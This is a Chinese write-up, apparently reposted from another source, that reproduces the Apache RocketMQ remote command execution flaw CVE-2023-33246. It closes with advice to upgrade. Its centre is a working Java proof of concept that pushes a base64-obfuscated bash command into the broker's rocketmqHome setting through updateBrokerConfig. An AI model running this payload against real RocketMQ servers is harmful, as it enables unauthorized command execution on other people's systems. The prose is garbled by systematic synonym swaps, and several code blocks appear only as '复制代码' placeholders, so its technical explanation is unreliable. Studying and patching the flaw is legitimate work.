毛病复现-Apache RocketMQ 远程下令实行毛病（CVE-2023-33246） ...

1.毛病形貌

RocketMQ是一个分布式消息和流数据平台，具有低延迟、高性能、高可靠性、万亿级容量和灵活的可扩展性。
Apache RocketMQ此毛病是一个远程下令实行毛病。RocketMQ的NameServer、Broker、Controller等多个组件缺乏权限验证，攻击者可以使用该毛病使用更新设置功能以RocketMQ运行的系统用户身份实行下令。此外，攻击者可以通过伪造 RocketMQ 协议内容来到达同样的效果。
2.影响版本

Apache RocketMQ <= 5.1.0 Apache RocketMQ <= 4.9.5
3.影响范围

4.毛病分析

1. 在函数 org.apache.rocketmq.broker.filtersrv.FilterServerManager 61行

复制代码

1. 调用下面的 createFilterServer 方法，71行中看到从配置文件中获取参数。72行调用方法 buildStartCommand

复制代码

该方法中取到变量 NamesrvAddr 和 RocketmqHome ,获取之后举行拼接cmd，在72行拿到拼接后的 cmd
进入for循环后在 org.apache.rocketmq.broker.filtersrv.FilterServerUtil 中给的 callshell 方法去实行下令

1. 该中间件本来就是每30秒执行一次，漏洞产生的就是修改了配置文件，变量被赋值为了恶意命令，导致了命令执行。

复制代码

1. Poc：

复制代码

1. import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;
2. import java.util.Properties;
3. public class EXP {
4.     public static void main(String[]args) throws Exception{
5.         // 创建 Properties 对象
6.         Properties props = new Properties();
7.         props.setProperty("rocketmqHome","-c {echo,dG91Y2ggL3RtcC9mbGFn}|{base64,-d}|bash -c");
8.         props.setProperty("filterServerNums","1");
9.         // 创建 DefaultMQAdminExt 对象并启动
10.         DefaultMQAdminExt admin = new DefaultMQAdminExt();
11.         admin.setNamesrvAddr("127.0.0.1:9876");
12.         admin.start();
13.         // 更新配置⽂件
14.         admin.updateBrokerConfig("127.0.0.1:10911", props);
15.         Properties brokerConfig = admin.getBrokerConfig("127.0.0.1:10911");
16.         System.out.println(brokerConfig.getProperty("rocketmqHome"));
17.         System.out.println(brokerConfig.getProperty("filterServerNums"));
18.         // 关闭 DefaultMQAdminExt 对象
19.         admin.shutdown();
20.         }
21. }

复制代码

5.修复建议
厂商已发布了毛病修复步伐，建议用户升级到如下版本：
Apache RocketMQ 5.1.1
Apache RocketMQ 4.9.6
官方下载地点：https://rocketmq.apache.org/zh/download


免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。